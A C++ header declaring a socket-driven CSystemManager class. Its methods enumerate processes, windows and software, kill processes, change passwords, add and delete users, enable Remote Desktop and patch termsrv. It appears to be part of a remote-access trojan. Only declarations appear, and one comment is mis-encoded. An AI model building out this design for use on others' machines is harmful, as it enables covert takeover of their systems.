2024-06-23 17:36:53 +08:00

65 lines
1.8 KiB
C++

// SystemManager.h: interface for the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SYSTEMMANAGER_H__5E44B060_837A_4D2D_9E75_E4A33E51CAE1__INCLUDED_)
#define AFX_SYSTEMMANAGER_H__5E44B060_837A_4D2D_9E75_E4A33E51CAE1__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "..\Manager.h"
class CSystemManager : public CManager
{
public:
CSystemManager(CClientSocket *pClient);
virtual ~CSystemManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
static BOOL DebugPrivilege(const char *PName,BOOL bEnable);
static void ShutdownWindows(DWORD dwReason);
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
private:
LPBYTE getProcessList();
LPBYTE getWindowsList();
LPBYTE getSoftWareList();
void SendProcessList();
void SendWindowsList();
// void SendDialupassList();
void SendSoftWareList();
void KillProcess(LPBYTE lpBuffer, UINT nSize);
void TestWindow(LPBYTE lpBuffer);
void CloseWindow(LPBYTE lpBuffer);
void SendSysInfoList();
void GetSystemInfo(tagSystemInfo* pSysInfo);
void SendSysUserList();
LPBYTE getSysUserList();
void SendUserStateList();
LPBYTE getUserStateList();
void ChangeUserState(LPBYTE lpBuffer, UINT nSize , UINT User_kt); //ÕÊ»§ÆôÓà ֹͣ
void ChangeUserPass(LPBYTE lpBuffer, UINT nSize);
void DeleteUser(LPBYTE lpBuffer, UINT nSize);
void DisconnectUser(LPBYTE lpBuffer, UINT nSize);
void LogOffUser(LPBYTE lpBuffer, UINT nSize);
void NoNetAddUser(LPBYTE lpBuffer, UINT nSize);
BOOL Change3389Port(LPVOID lparam);
void Open3389();
void GetTermsrvFile();
BOOL WriteTermsrv(LPBYTE lpBuffer, UINT nSize);
HANDLE hSendMemoryThread;
static DWORD WINAPI SendCPUAndMemoryThread(LPVOID lparam);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__5E44B060_837A_4D2D_9E75_E4A33E51CAE1__INCLUDED_)